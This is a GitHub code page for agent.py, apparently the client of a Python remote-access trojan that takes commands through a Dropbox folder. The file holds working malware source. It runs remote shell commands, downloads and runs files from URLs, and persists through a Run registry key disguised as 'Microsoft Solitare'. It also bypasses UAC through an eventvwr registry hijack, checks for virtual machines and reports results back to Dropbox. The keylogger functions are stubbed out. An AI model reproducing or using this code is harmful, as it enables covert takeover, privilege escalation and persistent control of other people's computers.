-
Notifications
You must be signed in to change notification settings - Fork 56
/
agent.py
284 lines (215 loc) · 6.28 KB
/
agent.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
from _winreg import *
from win32file import CopyFile
import requests
import os
import dropbox
import time
import threading
import cmd
import platform
import psutil
import json
import base64
import ctypes
import subprocess
import uuid
import sys
apiKey = "CHANGE API KEY"
# Create a dropbox object
dbx = dropbox.Dropbox(apiKey)
agentName = ""
tasks = {}
keyloggerStarted = False
completedTasks = []
def executeBackground(command):
subprocess.Popen([command.split()])
return True
def ExecuteShellCommand(command):
data = ""
try:
p = subprocess.Popen(command,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
for output in iter(p.stdout.readline, b''):
data += output
except Exception, err:
pass
data = err
return data
def exec_keylog_start():
keyloggerStarted = True
data = "[+] Keylogger Started Successfully [+]"
#CODE REMOVED
return base64.b64encode(str(data))
def exec_keylog_stop():
keyloggerStarted = False
data = "[+] Keylogger Stopped Successfully [+]"
#CODE REMOVED
return base64.b64encode(str(data))
def exec_bypassuac():
if(ctypes.windll.shell32.IsUserAnAdmin()):
data = "[+] Agent is running with Administrative Privileges [+]"
else:
keyVal = r'Software\Classes\mscfile\shell\open\command'
try:
key = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
except:
key = CreateKey(HKEY_CURRENT_USER, keyVal)
SetValueEx(key, None, 0, REG_SZ, sys.executable)
CloseKey(key)
os.system("eventvwr")
data = "[+] Task bypassuac Executed Successfuly [+]"
return base64.b64encode(str(data))
def exec_cmd(cmd):
data = ExecuteShellCommand(cmd.split())
return base64.b64encode(str(data))
def exec_persist():
data = ""
filedrop = r'%s\Saved Games\%s' % (os.path.expandvars("%userprofile%"),'sol.exe')
currentExecutable = sys.executable
try:
CopyFile (currentExecutable, filedrop, 0)
keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
key = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS)
SetValueEx(key, "Microsoft Solitare", 0, REG_SZ, filedrop)
CloseKey(key)
data = "[+] Persistence Completed [+]"
except Exception:
pass
data = "[-] Error while creating persistence [-]"
return base64.b64encode(str(data))
def exec_downloadexecute(url):
try:
r = requests.get(url)
filename = url.split('/')[-1]
if r.status_code == 200:
f = open(filename,'wb')
f.write(r.content)
f.close()
executeBackground(filename)
data = "[+] Task Completed Successfully [+]"
else:
data = "[-] Error [-]"
except Exception, err:
data = err
return base64.b64encode(str(data))
def doTask(command,task):
mode = (dropbox.files.WriteMode.overwrite)
output = {}
path = '/%s/output' % agentName
try:
_, res = dbx.files_download(path)
except Exception:
dbx.files_upload(json.dumps(output),path,mode)
pass
_, res = dbx.files_download(path)
output = json.loads(res.content.replace('\n',''))
# checks for commands with double parameters.
if(command.startswith('{SHELL}')):
cmd = command.split('{SHELL}')[1]
output[task] = {"OUTPUT": exec_cmd(cmd)}
if(command.startswith('{DOWNLOAD}')):
url = command.split('{DOWNLOAD}')[1]
output[task] = {"OUTPUT": exec_downloadexecute(url)}
elif(command == "persist"):
output[task] = {"OUTPUT": exec_persist()}
elif(command == "keylog_start"):
output[task] = {"OUTPUT": exec_keylog_start()}
elif(command == "keylog_stop"):
output[task] = {"OUTPUT": exec_keylog_stop()}
elif(command == "bypassuac"):
output[task] = {"OUTPUT": exec_bypassuac()}
# Upload the output of commands
try:
dbx.files_upload(json.dumps(output),path,mode)
completedTasks.append(task)
except Exception:
time.sleep(30)
pass
class agentNotifier(object):
def __init__(self, interval=20):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = False
thread.start()
def run(self):
while True:
notify()
time.sleep(self.interval)
class taskChecker(object):
def __init__(self, interval=5):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = False
thread.start()
def run(self):
while True:
checkTasks()
time.sleep(self.interval)
def checkTasks():
global tasks
path = '/%s/tasks' % agentName
for file in dbx.files_list_folder('/%s/' % agentName).entries:
if(file.name == 'tasks'):
_, res = dbx.files_download(path)
if(res.content != ""):
tasks = json.loads(res.content.replace('\n',''))
for task,taskContent in tasks.iteritems():
if(str(taskContent["STATUS"]) == "Completed"):
deleteOutputKey(task)
if(str(taskContent["STATUS"]) == "Waiting" and task not in completedTasks):
doTask(str(taskContent["COMMAND"]),task)
def firstTime():
return True
def dropboxFileExists(path,file):
for fileName in dbx.files_list_folder(path).entries:
if fileName.name == file:
return True
return False
def deleteOutputKey(taskname):
path = '/%s/output' % agentName
mode = (dropbox.files.WriteMode.overwrite)
try:
if(dropboxFileExists('/%s/' % agentName ,'output')):
_, res = dbx.files_download(path)
if(res.content != ""):
outputData = json.loads(res.content.replace('\n',''))
del outputData[taskname]
else:
outputData = {}
dbx.files_upload(json.dumps(outputData),path,mode)
except Exception:
pass
def notify():
data = str(time.time())
path = '/%s/lasttime' % agentName
mode = (dropbox.files.WriteMode.add)
for file in dbx.files_list_folder('/%s/' % agentName).entries:
if(file.name == 'lasttime'):
mode = (dropbox.files.WriteMode.overwrite)
break
try:
dbx.files_upload(data,path,mode)
except Exception:
pass
time.sleep(30)
def antivm():
if(psutil.cpu_count() > 2 and platform.release() != 'XP' and firstTime()): # Change 0 to 2 again
try:
setAgentName()
dbx.files_create_folder('/%s' % agentName)
except Exception,e:
print e
pass
else:
exit(0)
def setAgentName():
global agentName
if(ctypes.windll.shell32.IsUserAnAdmin()):
agentName = "%s-%s%s" % (platform.node(),str(uuid.getnode()),"SYS")
else:
agentName = "%s-%s" % (platform.node(),str(uuid.getnode()))
def main():
antivm()
notifier = agentNotifier()
taskchecker = taskChecker()
if __name__ == "__main__":
main()